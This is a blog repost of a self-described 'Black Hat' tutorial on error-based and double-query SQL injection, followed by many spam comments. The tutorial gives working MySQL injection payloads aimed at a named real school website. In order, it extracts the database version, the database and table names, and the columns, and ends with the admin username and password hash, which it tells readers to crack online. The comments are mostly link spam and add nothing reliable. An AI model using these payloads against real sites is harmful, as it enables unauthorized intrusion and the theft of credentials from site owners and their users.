Error Based/Double Query SQL injection


Tutorial by Zer0Freak


Zer0Freak SQLi Tutorials
Difficulty: Intermediate Level 2 and Advanced
Requirements: Patience,intuition and understanding
Estimated time to read the chapter: 10-20 min (reading thoroughly will help you understand better)
Previous Chapters:
Chapter1: How to use/create dorks
Chapter2:Basic SQL injection using login queries
Chapter3: Detailed Union/Normal Based SQL injection

Alright I'll make this tutorial as short as possible so that you can understand faster.



Understanding Error Based/Double Query
How does Error Base and Double Query work
Error Based:
Code:
A method of extracting information from a database when UNION SELECT function does not work at all. This can be done using a compiled query to extract the database information
Double Query:
Code:
Basically like Error Based, except that the Error Based Query will be doubled as a single query statement so that we'll get errors with information in it
I'll explain further in this tutorial
Anyways, focus on this part of this tutorial
Error Based IS Double Query
Error Based = Double Query (Error based 2x)



How do you know you should use Error Based/Double Query? (Important!)
This is the most important part of web hacking; the type of injection to use in different situations.
You can use Error Based/ Double Query Injections in the following errors you get
Code:
a. The Used Select Statements Have  Different Number Of Columns.
b. Unknown Column 1 or no columns at all (in webpage and page source)
c.Error #1604
Now take note of those errors. You'll be needing it



Lets start with Error Based SQL injection
Alright for this lesson, we'll use this site as an example:
http://www.aliqbalschools.org

First approach is knowing the version of the database

To do that we enter this query after the end of the URL
Code:
or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1--

So the site will look like this
Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1--

Results:
[Image: TIqze.png]
Now that we know the version of the database which is 5, lets move to the next step



Second step: Getting the database name
To get the database, we enter this query
Code:
and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Notice the limit function in the query
A website can have more than 2 two databases, so increase the limit until you find all database names
Example: limit 0,1 or limit 1,1 or limit 2,1


Now our website address will look like this
Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Results:
[Image: BmmpO.png]
Database is : iqbal_iqbal

Second step is done where we extract the database names we need.
MAKE sure you write the database name on a paper or notepad
We'll need it later



Third Step: Getting the TABLE NAMES
Table names is what we need now
Here's the query we can use:
Code:
and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Don't also forget the LIMIT function we used here to get table names one by one

Alright our web address will look like this:
Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 19,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Now here's the important part:
When you search for tables keep incrementing the limit until you find the valuable table name
For example: LIMIT 0,1
LIMIT 1,1
LIMIT 2,1
Keep increasing the number until you find the table you want to extract the information from
Here's the formula: LIMIT N,1 where N is a random integer

Valuable Tables can be:
Code:
Users
Admin
user
administrator
tbladmin
tblusers
settings
In this case, we have the table "settings"
So now we know our table, lets move on to the next step



Fourth Step: Getting Columns from specific TABLE NAMES
Alright, now that you've chosen the table you wanna extract columns from, time to execute another query
So here's how a column query extraction will look like:
Code:
and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0xTABLEHEX limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Notice the LIMIT 0,1 FUNCTION and 0xTABLEHEX
You need to convert your specific table into hex and add 0x at the beginning of the string so that it can be readable to the website
To convert a string to hex use: http://www.swingnote.com/tools/texttohex.php
Here's how the address will look like along with the query
Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x73657474696e6773 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Results:
Code:
Duplicate entry 'Id~1' for key 'group_key

Now you need to increment the limit until you find valuable columns such as userName and passWord.
So in this case,
Column name = userName
Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x73657474696e6773 limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Column name= passWord
Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x73657474696e6773 limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
[Image: kNbNI.png]
Again, don't forget to see the LIMIT Function
Now that we found the columns we want to extract information from i.e "userName" and "passWord", lets proceed to the next step where we can actually get the login username and password



Fifth Step: Extracting the data from Columns
Alright this part is probably the best in SQL injecting site.
Time to get the info from the columns we have
To do that, use this query
Code:
and (select 1 from (select count(*),concat((select(select concat(cast(concat(COLUMN_NAME,0x7e,COLUMN_NAME) as char),0x7e)) from Databasename.TABLENAME limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Now before you proceed, watch and focus on the code and study what happens.
Here we have 4 variables:
1. COLUMN_NAME: where you insert the column name you want to extract information from
2.Databasename: where you insert the current database name of the website so that you'll be extract info from it
3. TABLENAME: where you insert the table name of the column names you extracted from
4. LIMIT N,1: LIMIT Function and N where N is a random integer
Now lets do some replacing, FOCUS
Code:
COLUMN_NAME replace with "userName" and "passWord"
Databasename replace with "iqbal_iqbal"
TABLENAME replace with "settings"
After you're done with altering the code to your needs of extracting information, time to execute it
Here's what the code will look like:
Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and (select 1 from (select count(*),concat((select(select concat(cast(concat(userName,0x7e,passWord) as char),0x7e)) from iqbal_iqbal.settings limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Results:
Code:
Duplicate entry 'admin~86f574c1d63d53fa804c13c3213953d9~1' for key
[Image: PTqli.png]
SUCCESS, you injected the site with error based now you have the login info
Username: admin
Password: 86f574c1d63d53fa804c13c3213953d9
Go to http://www.md5decrypter.co.uk/ to crack that MD5 Hash




Now Lets Start with DOUBLE Query SQL Injection
So basically, as stated above, DOUBLE Query is the same like Error Based except the query we'll enter is gonna be double the normal error based query
First off, the definition so that you can understand:
Code:
Double query SQL injection is a vulnerability that uses two queries together wrapped into one that confuses the db to a point where it spits out an error. This error gives us the info we need to leverage the database all the way to the admin panel. As a matter of fact we can pretty much dump the whole database if we want.

Differences:
Error Based Query for Database Extraction:
Code:
and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Double Query for Database Extraction:
Code:
and(select 1 from(select count(*),concat((select (select
concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1

Now you get the idea, lets cut to the chase and go on
We'll be using the same site as above



Step1: Getting the database version
Alright same as Error Based, here's the Double query:
Code:
and(select 1 from(select count(*),concat((select (select
concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1

So our Address will look like this:
Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

NOTE(IMPORTANT): Make sure that your queries are very well organized when you execute them, otherwise the browser will return the results as an error.

Results after query execution:
Code:
Duplicate entry '~'5.1.56-log'~1' for key 'group_key
Database version is 5
You can test on the site now if you want so that you won't get confused



Step2: Getting the Database
Now we've got the version, lets execute a double query on extracting the database
Query for Database extraction:
Code:
and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT N,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
Notice the LIMIT Function again and make sure you don't make mistakes in that
It shows that
Limit N,1 where N is a random integer. Example: Limit 0,1

Here's what our address will then look like:
Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
Once more, don't forget about the LIMIT Function

So here's the results:
Code:
iqbal_iqbal
Now that's their database.
Note it down on a notepad or a paper



Step3: Getting the Table Names
As I've explained above, we'll be also using the LIMIT Function in this query.
Just a quick look, the query will look like this:
Code:
and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where
table_schema=0xhex_code_of_database_name LIMIT N,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1

Alright you need to focus on the code and see the changes.
There are two variables here:
1. Hex_code_databasename
2. LIMIT Function

Obviously, we need to Hex the database name we've just taken into record and add 0x in the beginning i.e. Database= 0xiqbal_iqbal
To convert your database name into hex: http://www.swingnote.com/tools/texttohex.php
Now that you've the database into hex, lets see what our address will look like:
Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0x697162616c5f697162616c LIMIT 19,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

LIMIT 19,1 brings us the valuable table which is "settings"
Review the code and study it



Step4: Getting Column names from specific Tables and Database
Now that we know what we need which are the table (settings) and database (iqbal_iqbal), lets proceed to the next step; column extraction
Here's what the query will look like:
Code:
and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns Where
table_schema=0xhex_code_of_database_name AND table_name=0xhex_code_of_table_name LIMIT N,1)) from information_schema.tables
limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
Now here we have 3 variables:
1. Hex code of Databasename: Hex the database which in our case is (iqbal_iqbal)
2. Hex code of tablename: Hex the table name which is "settings"
3. LIMIT Function
Alright, I'm pretty sure you know what you have to do exactly so I don't need to explain everything again and again.

Here's what the address is gonna look like:
Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns Where table_schema=0x697162616c5f697162616c AND table_name=0x73657474696e6773 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
Notice the hexed variables and the LIMIT Function
Keep incrementing the LIMIT until you find the valuable columns which in our case is "userName" and "passWord"
Review what we have just done for less confusion



Step5: Getting the Data from the Columns with the help of Table name and Database name
Alright now that we know what we need to extract, lets get our goods
As far as what we're injected in the site, this is our information:
database name: iqbal_iqbal
table name: settings
column names: userName, passWord

Here's what the query will look like first (for extracting data):
Code:
and(select 1 from(select count(*),concat((select (select
(SELECT concat(0x7e,0x27,cast(table_name.column_name as char),0x27,0x7e) FROM `database_name`.table_name LIMIT N,1) ) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

Variables:
table_name.column_name: Input the table name and column name you want to extract information from

database_name.table_name: Input the database name and table name you want to extract information from

LIMIT Function: Increment until you find the data you need

So here's what our address is gonna look like when we extract details from userName
Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and(select 1 from(select count(*),concat((select (select(SELECT concat(0x7e,0x27,cast(settings.userName as char),0x27,0x7e) FROM `iqbal_iqbal`.settings LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
Output:
Code:
admim

Query for extracting details from passWord
Code:
http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and(select 1 from(select count(*),concat((select (select(SELECT concat(0x7e,0x27,cast(settings.passWord as char),0x27,0x7e) FROM `iqbal_iqbal`.settings LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
Output:
Code:
86f574c1d63d53fa804c13c3213953d9

Username: admin
Password: 86f574c1d63d53fa804c13c3213953d9

Alright I think that's pretty much what you have to know about Error Based/Double Query SQL injection.

Just so that everything can be as cleared as possible, watch and learn from the video I made for you guys below:






Thank you guys for reading my tutorial and watching my video
Hope it helped you guys understand the concept of Error Based/Double Query SQL injection
End of Chapter 4
Upcoming Chapter: Detailed String Based SQL injection
Contact Me: zerofreak@live.com
Stay tuned on Zer0 MegaProjectSQLi for more tutorials
Have a great day
Black Hat

Penulis : ZentrixPlus ~ Sebuah blog yang menyediakan berbagai macam informasi

Artikel Error Based/Double Query SQL injection ini dipublish oleh ZentrixPlus pada hari Friday, February 3, 2012. Semoga artikel ini dapat bermanfaat.Terimakasih atas kunjungan Anda silahkan tinggalkan komentar.sudah ada 489 komentar: di postingan Error Based/Double Query SQL injection
 

489 comments:

  1. awesome tut man i read all your tuts from hf they are great itz good you made up a blog now i can find all your tuts here

    ReplyDelete
  2. bro can you provide a tut on how to bypass waf while using Error Based/Double Query ??

    ReplyDelete
  3. thanks for this wonderful tutorial.

    ReplyDelete
  4. This comment has been removed by the author.

    ReplyDelete
  5. i have this error : "Subquery returns more than 1 row"
    when i put "pass" in
    Fifth Step: Extracting the data from Columns
    can u help me ?
    tnx

    ReplyDelete
  6. Powerfull tutorial dude, tested by myself, thanks

    ReplyDelete
  7. I would like to thank you for the efforts you have made in writing this article.

    Signature:
    download baixar facebook movel, Facebook movel, baixar facebook movel. Facebook chat, baixar whatsapp gratis, fazer o download baixar whatsapp para Android, iPhone. Últimas Facebook

    ReplyDelete
  8. I was working and suddenly I visits your site frequently and recommended it to me to read also. The writing style is superior and the content is relevant. Thanks for the insight you provide the readers!
    Signature:
    Versión en facebook en español descargar a los países hablan Español: facebook entrar direto agora , facebook en español para and facebook entrar direto

    ReplyDelete
  9. great post. i like it. feeling great when reading your post .
    Signature:
    The place to play all unblocked games online. Here you can find every blocked games such as: unblockedgames , unblocked games happy , unblocked games 77 ,

    ReplyDelete
  10. Thanks for the informative article. This is one of the best resources I have found in quite some time. Nicely written and great info. I really cannot thank you enough for sharing.
    Regards,
    aamala

    SEO Training in Chennai

    ReplyDelete
  11. Collections from the design labels such as Cheap TRX and other beauty are released after every six months.
    With every new launch, a new trx pas cher technology is developed.
    This had led to making trx pas cher remain competitive in the International market.
    The entire penny board hot sale packaging process is paid into detail to enhance the collections quality and appearance.
    Now everyone can own high-end designer Cheap TRX For Sale.
    cheap trx being one of the largest and most prominent fashion company in the world, it has an obligation of beating the standards set by others.
    The fashion world, with a higher concentration on trx france, needs to provide the best packaging services that the modern world has ever seen.
    cheap trx plays a major role in creating a brand name that fashion lovers want to identify with.

    ReplyDelete
  12. Wonderful post! You've made some very astute observations and I am thankful for the the effort you have put into your writing. Its clear that you know what you are talking about. I am looking forward to reading more of your sites content.
    happy wheels | coolmathgames | run 3 | happy wheels online | cool maths 4 kids | game run 3 online

    ReplyDelete
  13. "Change is the law of life. And those who look only to the past or present are certain to miss the future.” http://goatripsindia.com/packages

    ReplyDelete
  14. I am a regular reader of your blog. the blog is very interesting and will be much useful for us.
    Email Marketing Chennai

    ReplyDelete
  15. Great! Thanks for sharing the information. I like this information. Keep posting
    Cookie Clicker
    Cookie Clicker play
    Cookie Clicker game
    Cookie Clicker online

    ReplyDelete
  16. Great! Thanks for sharing the information. I like this information. Keep posting
    sybase training in chennai

    ReplyDelete
  17. I was a girl, but clumsy things. I do not know how to cook, sew, above, ca. I have too insipid and tedious, but that's my personality. It's hard to change
    baixar facebook l baixar whatsapp l baixar whatsapp l baixar facebook

    ReplyDelete
  18. Thanks for providing this informative information you may also refer
    http://www.s4techno.com/blog/2016/08/02/sql-interview-questions/

    ReplyDelete
  19. Superb. I really enjoyed very much with this article here. Really it is an amazing article I had ever read. I hope it will help a lot for all. Thank you so much for this amazing posts and please keep update like this excellent article.thank you for sharing such a great blog with us. expecting for your.

    seo company in india

    ReplyDelete
  20. Awesome to see your site. Keep up the great work. Thanks for all you could do.Lets stay in touch
    IPL Opening Ceremony 2017 Venue
    IPL 2017
    India Player List For ICC CT 2017

    ReplyDelete
  21. Mostly people have all the same things when they are writing academic task or any other writing, especially light music most people like during the writing.

    subway surf , baixar subway surf, subway surf download , download subway surf

    ReplyDelete
  22. Mostly people have all the same things when they are writing academic task or any other writing, especially light music most people like during the writing.
    dream league soccer download , dream league soccer apk , download dream league soccer , dream league soccer

    ReplyDelete
  23. You need to have time to take care of the active. It in fact was a amusement account it. Look advanced to far added agreeable from you.

    banana kong download , banana kong , baixar banana kong , download banana kong , banana kong baixar

    ReplyDelete
  24. Thanks I have read your article, it is very interesting and exciting
    download go launcher, go launcher apk, go launcher , go launcher androi,

    ReplyDelete
  25. You need to have time to take care of the active. It in fact was a amusement account it. Look advanced to far added agreeable from you.

    entrar hotmail agora , hotmail entrar, entrar hotmail , entrar no hotmail

    ReplyDelete
  26. Mostly people have all the same things when they are writing academic task or any other writing, especially light music most people like during the writing.
    facebook iniciar sesión , facebook, iniciar sesion , iniciar sesion facebook

    ReplyDelete
  27. Norton 360 support - Download and Install your Norton Security online to shield your PC from dangers. On the off chance that you require any help then please call toll free helpline or live talk with us. norton 360 support

    ReplyDelete
  28. Awesome write-up. I’m a regular visitor of your blog and appreciate you taking the time to maintain the excellent blog. I will be a regular visitor for a long time.
    IPL 2017

    ReplyDelete
  29. http://www.gateresult2017.com/gate-2017-result-branch-wise-check-gops-result-%e0%a4%97%e0%a5%87%e0%a4%9f-2017-%e0%a4%aa%e0%a4%b0%e0%a4%bf%e0%a4%a3%e0%a4%be%e0%a4%ae-www-gate-iitr-ernet/
    http://www.gateresult2017.com/gate-2017-cut-off-branch-wise-%e0%a4%97%e0%a5%87%e0%a4%9f-2017-%e0%a4%95%e0%a4%9f-%e0%a4%91%e0%a4%ab-%e0%a4%a6%e0%a5%87%e0%a4%96%e0%a5%87-civil-ece-me/
    http://www.gateresult2017.com/gate-2017-score-card-ece-ee-me-civil-gate-score-card/
    http://universityadmitcard.in/dbrau-agra-mcom-final-year-admit-card/
    http://universityadmitcard.in/agra-university-mcom-previous-year-admit-card/
    http://universityadmitcard.in/agra-university-msc-final-year-admit-card/
    http://universityadmitcard.in/university-of-kota-bcom-1st-year-admit-card/

    ReplyDelete
  30. Mother’s Day is celebrated for our family most special person our mother. Mother is a god gift for all people in the world. Every son/daughter is celebrated Mother’s Day for their mother; they express their feelings, love, and joy with their mom. Mother’s Day is celebrated in all over the world on different days; Mother's Day 2017 quotes it means Mothers Day Date is not same in all over the world. In most countries, Mother’s Day is celebrated second Sunday of month May. Mother’s Day was first celebrated in 1908 when Anna Jarvis held a memorial for her mother at St Andrew’s Methodist Church in Grafton, Happy Fathers Day Quotes West Virginia. St Andrew’s Methodist Church now holds the International Mother’s Day Shrine.

    ReplyDelete
  31. The
    satta matka Original Website Provide Fast Matka Result site.

    ReplyDelete
  32. You are doing a great job. You inspire me to write for other. Thank you very much. I would like to appreciate your work for good accuracy and got informative knowledge from here.

    iOS App Development Company

    ReplyDelete
  33. Wow, I have enjoyed reading the article although I landed on this page accidentally while I was looking for a Professional Editing Service. Although I did not fond what I was looking for, I have learned a lot from the article and the comments posted by other online users. I will not mind visiting this site occasionally to read both new and old articles.

    ReplyDelete
  34. Drawing Tips is outlined because the action of constructing marks on any surface

    with any mark-making material. it's clear, by this definition, that anyone will

    draw. If you'll write your name, well then- you'll draw. currently that we've

    established that, we tend to all apprehend that a number of North
    https://proartstips.wordpress.com/



    drawing tablet


    g raphics tablet


    American country will draw higher than others. changing into practiced at drawing

    needs many factors returning along. a number of these factors embody need,

    instruction, practice, time, and additional observe. i made a decision to place

    along this list of fast tips about drawing so you'll instantly see leads to your

    drawing skills. This list of tips about drawing isn't a "catch all" formula for

    drawing. they're strictly just a few tips that I actually have picked up on the

    means that have helped American state in my drawing Tips .

    ReplyDelete

  35. This is a very nice programming content and I bet that the people who have already read the content have got the best information. At the times when you are unable to attend to such tasks on your own, you always seek for the experts with experience. I have learned important programming queries and now I can know the need for Dissertation Revising Help for such projects.

    ReplyDelete
  36. It is amazing and wonderful to visit your site.Thanks for sharing this information,this is useful to me...
    Android Training in Chennai
    Ios Training in Chennai

    ReplyDelete
  37. I like your post. It really useful with me. Thanks for sharing these useful information!
    happywheels3game.com

    ReplyDelete
  38. I can feel that the articles contained in this blog is so interesting. I also get a variety informasin, thanks. geometry-dash.net

    ReplyDelete
  39. Thanks for the information you shared. Please share useful information with your friends regularly
    papasgamesonline.com

    ReplyDelete
  40. It is amazing and wonderful to visit your site.Thanks for sharing this information,this is useful to me...
    Android Training in Chennai
    Ios Training in Chennai

    ReplyDelete
  41. I was very impressed by this post, this site has always been pleasant news. Thank you very much for such an interesting post. Keep working, great job! In my free time, I like play game: facebooklite.com.br. What about you?

    ReplyDelete
  42. Great post,Thanks for providing us this great knowledge,Keep it up.
    run3unblockedgame.com

    ReplyDelete
  43. I would like to thank you for your nicely written post

    www.happywheelsy8.com

    ReplyDelete
  44. Alot of blogs I see these days don't really provide anything that I'm interested in, but I'm most definately interested in this one. Just thought that I would post and let you know. Nice! thank you so much! Thank you for sharing.
    b612az.com

    ReplyDelete
  45. Thank you very much for the information you shared, it’s all I’ve been looking for
    www.happywheels-2.com

    ReplyDelete
  46. Thank you, so Much admin have a nice day :) you information about weight loss is very easy and simple.
    pocafashion

    ReplyDelete
  47. I realize that nothing is fair but I'm still trying. I just want to do my best and what is possible
    povaup

    ReplyDelete
  48. I appreciate you and hopping for some more informative posts. thanks for share
    http://run3.run

    ReplyDelete
  49. I have read your article, the information you give is very interesting.
    pocatravel

    ReplyDelete
  50. Your article is very interesting. I think this article has a lot of information needed, looking forward to your new posts. Get permission to share:
    returnman3game.com

    ReplyDelete
  51. Your post is interesting. Hope you have more useful posts like this
    vex3.games

    ReplyDelete
  52. The LEGO Ninjago Movie 2017

    Watch The LEGO Ninjago 2017 Full Movie Watch or Download Online for free on Ipad, Iphone, Mac Pro, Tablet, PC or any Devices From Any Where.

    The LEGO Ninjago Movie Watch Online

    The LEGO Ninjago Movie is a 2017 American animation-action, adventure film directed by Charlie Bean, Paul Fisher and written by Hilary Winston, with a story by Bob Logan.We start the week with news of that genre that likes big boys. Yes, the animation! It is that Warner Bros. Pictures revealed NINE posters of the LEGO® NINJAGO® Movie characters, a film by the same team that built “The LEGO Movie” and ” LEGO Batman: The Movie “(The LEGO Batman Movie). Do not miss out!

    The LEGO Ninjago Movie 2017
    The LEGO Ninjago Movie Watch Online
    The LEGO Ninjago Movie
    The LEGO Ninjago Movie 2017
    Watch The LEGO Ninjago Movie Online
    The LEGO Ninjago Movie full Online
    The LEGO Ninjago full Movie 2017 Online
    The LEGO Ninjago full Movie 2017 Online
    Watch The LEGO Ninjago full Movie 2017
    LEGO Ninjago 2017 Full Movie

    The film The LEGO Ninjago Movie: Warner Bros. Interactive and TT Games have announced the launch of LEGO Ninjago Movie – The Video Game for PlayStation 4, Xbox One, Nintendo Switch and PC on September 26. In it, players will be able to immerse themselves in the world of the new animated adventure for the big screen: The LEGO Ninjago Movie.

    Developed by TT Games, in this new title players will break through waves of enemies in the skin of their favorite ninjas: Lloyd, Nya, Jay, Kai, Cole, Zane and Wu Sensei to defend Ninjago, their home island , By Lord Garmadon and his shark army. To achieve this, they must master the art of ninjagilidad, with which they can run through walls, jumping and fighting against enemies, to improve their classification and combat skills.

    “The LEGO Ninjago Movie – The Videogame takes the incessant action and exciting combats of the feature film home so the children can embark on their own adventures. Enhanced moves will help players navigate Ninjago with the flow of a secret ninja warrior And refine their combat skills, “said Tom Stone, executive director of TT Games.

    ReplyDelete
  53. Really it was an awesome article...very interesting to read..You have provided an nice article....Thanks for sharing..
    Android Training in Chennai
    Ios Training in Chennai

    ReplyDelete
  54. Really it was an awesome article...very interesting to read..You have provided an nice article....Thanks for sharing..
    Android Training in Chennai
    Ios Training in Chennai

    ReplyDelete
  55. Amazing source shared which is quite informative and knowledgeable.
    Social Phobia treatment Newark

    ReplyDelete
  56. This comment has been removed by the author.

    ReplyDelete

  57. very Help Full Post. Look Some Different here at UPSC Exam

    ReplyDelete
  58. This comment has been removed by the author.

    ReplyDelete
  59. Bulk SMS is brilliant, cost-effective, promotional, advertising service, and reasonable, these India service industry has given rise to some such aspects for which even the small scale and large scale industry are opting for these low-priced service profit.

    http://truebulksms.com/bulk-sms.html

    ReplyDelete
  60. – Bulk SMS is brilliant, cost-effective, promotional, advertising service, and reasonable, these India service industry has given rise to some such aspects for which even the small scale and large scale industry are opting for these low-priced service profit.

    http://truebulksms.com/bulk-sms.html

    ReplyDelete
  61. we give you the best call young ladies in dehradun, we have numerous young ladies and hot n attractive milf who can make you sexlust and furthermore can make you relex, come once and definatly you'll come back once more. We trust that you will have an earth paradise and superb experience that surrenders you with a key impression. That is our objective here in Escorts Service Dehradun outcall escorts dehradun will impact your need to work out. Your dreams will wake up! So it's not simply watching and being with impeccable, confounding or top notch ladies, we have all that you require from Punjab, Delhi and Russian female escorts dehradun , name it and we'll make a point to offer that to you. We know you have to meet impressive ladies for surprising and focal dates for a man like you.
    read more:- escort service In Dehradun

    ReplyDelete
  62. Bulk SMS services open doors to unlimited possible in terms of creating awareness specially for start ups. Read more to understand how it can benefit your undertaking.
    Bulk SMS is brilliant, cost-effective, promotional, advertising service, and reasonable, these India service industry has given rise to some such aspects for which still the small scale and large scale industry are opting for these low-priced services profit.

    http://truebulksms.com

    ReplyDelete

  63. Bulk SMS services open doors to unlimited possible in terms of creating awareness specially for start ups. Read more to understand how it can benefit your undertaking.

    Bulk SMS services open doors to unlimited possible in terms of creating awareness specially for start ups. Read more to understand how it can benefit your undertaking.
    bulk sms

    ReplyDelete
  64. Bulk SMS is brilliant, cost-effective, promotional, advertising service, and reasonable, these India service industry has given rise to some such aspects for which still the small scale and large scale industry are opting for these low-priced services profit.

    ReplyDelete
  65. Pro Integrate is one of the best technology companies which gives you the best services and also provides mixed working environment On-Site as well as Nearshore. The goal of our company is to help match employers who have job openings with qualified employees who are available. We provided specific resources, as requested, to be integrated into our partner’s projects. Business consultancy like us provides information, consulting, and insights to importers and exporters so that they can take accurate decisions.

    ReplyDelete
  66. We provide Digital Marketing Services and we have high conversion rates. We help our clients significantly increase the number of customers in the shortest amounts of time.

    ReplyDelete
  67. We are the Top Mobile Game development Company in Noida , our Apps development gratify the idea of your Business. We convert your Business ideas virtually, into a superior form of Application. With all our high tech features and beautiful graphic designs, we have full stack engineers, who develop best mobile applications that work perfectly without any trouble.
    Website: - https://www.swavishsoftwares.com/mobileappsdevelopment.php

    ReplyDelete
  68. Bulk SMS services is the best method to delivered your message to your audience hence it is the hottest choice for most of the company these days.

    ReplyDelete
  69. NISM Series 8 : Securities Markets Foundation Certification Examination is for entry level professionals, who wish to make a career in the securities markets. .This examination may be a voluntary examination. The nism series 8 : Securities Markets institution Certification Examination is for entry level professionals, UN agency would like to create a career within the securities markets.

    ReplyDelete
  70. If you are ordering prescription medication(s), you hereby confirm that you will send us a scanned copy of your valid prescription(s) via email, fax, Whatsapp, or by post, and this prescription shall then be subject to the scrutiny of and approval by our qualified Pharmacists.Sofovir 400mg
    Sovihep 400mg

    ReplyDelete
  71. "The medication data gave in the nonexclusive daklinza.com is for instructive purposes just and this Website isn't proposed to give conclusion, treatment or restorative exhortation. We are not at risk for any unfriendly impacts or damage to you because of your dependence on the data in the Website. Natdac 60mg
    Mydekla 60mg"

    ReplyDelete
  72. Thanks for the informative article. This is one of the best resources I have found in quite some time. Nicely written and great info. I really cannot thank you enough for sharing.


    Hadoop Training in Chennai

    Aws Training in Chennai

    Selenium Training in Chennai

    ReplyDelete

  73. Hello there! I just want to offer you a big thumbs up for your great info you have right here on this post. I'll be coming back to your web site for more soon. psl live streaming on youtube

    ReplyDelete
  74. Good Post! Thank you so much for sharing this pretty post, it was so good to read and useful to improve my knowledge as updated one, keep blogging.
    Devops Training in pune|Devops training in tambaram|Devops training in velachery|Devops training in annanagar
    DevOps online Training|DevOps Training usa

    ReplyDelete
  75. Thanks for informative news.. Here is Asia Cup 2018 Start from Sep 2018. Get all the news and updates of AsiaCup 2018 live score , team squads and all the updates related to AsiaCup 2018
    Live Stream of Asia Cup 2018 All Matches
    Category Of all kind of Live Stream of Asia Cup 2018
    Asia Cup 2018 Final Match
    Asia Cup 2018 Opening Ceremony In UAE Dubai Watch Live
    AsiaCup Pakistan vs India Live Stream
    Asia Cup 2018

    ReplyDelete
  76. Inspiring writings and I greatly admired what you have to say , I hope you continue to provide new ideas for us all and greetings success always for you..Keep update more information..

    rpa training in Chennai | rpa training in pune

    rpa training in tambaram | rpa training in sholinganallur

    rpa training in Chennai | rpa training in velachery

    rpa online training | rpa training in bangalore

    ReplyDelete
  77. Needed to compose you a very little word to thank you yet again regarding the nice suggestions you’ve contributed here.
    python training in tambaram
    python training in annanagar

    ReplyDelete
  78. It is amazing and wonderful to visit your site.Thanks for sharing this information,this is useful to me...
    java online training | java training in pune

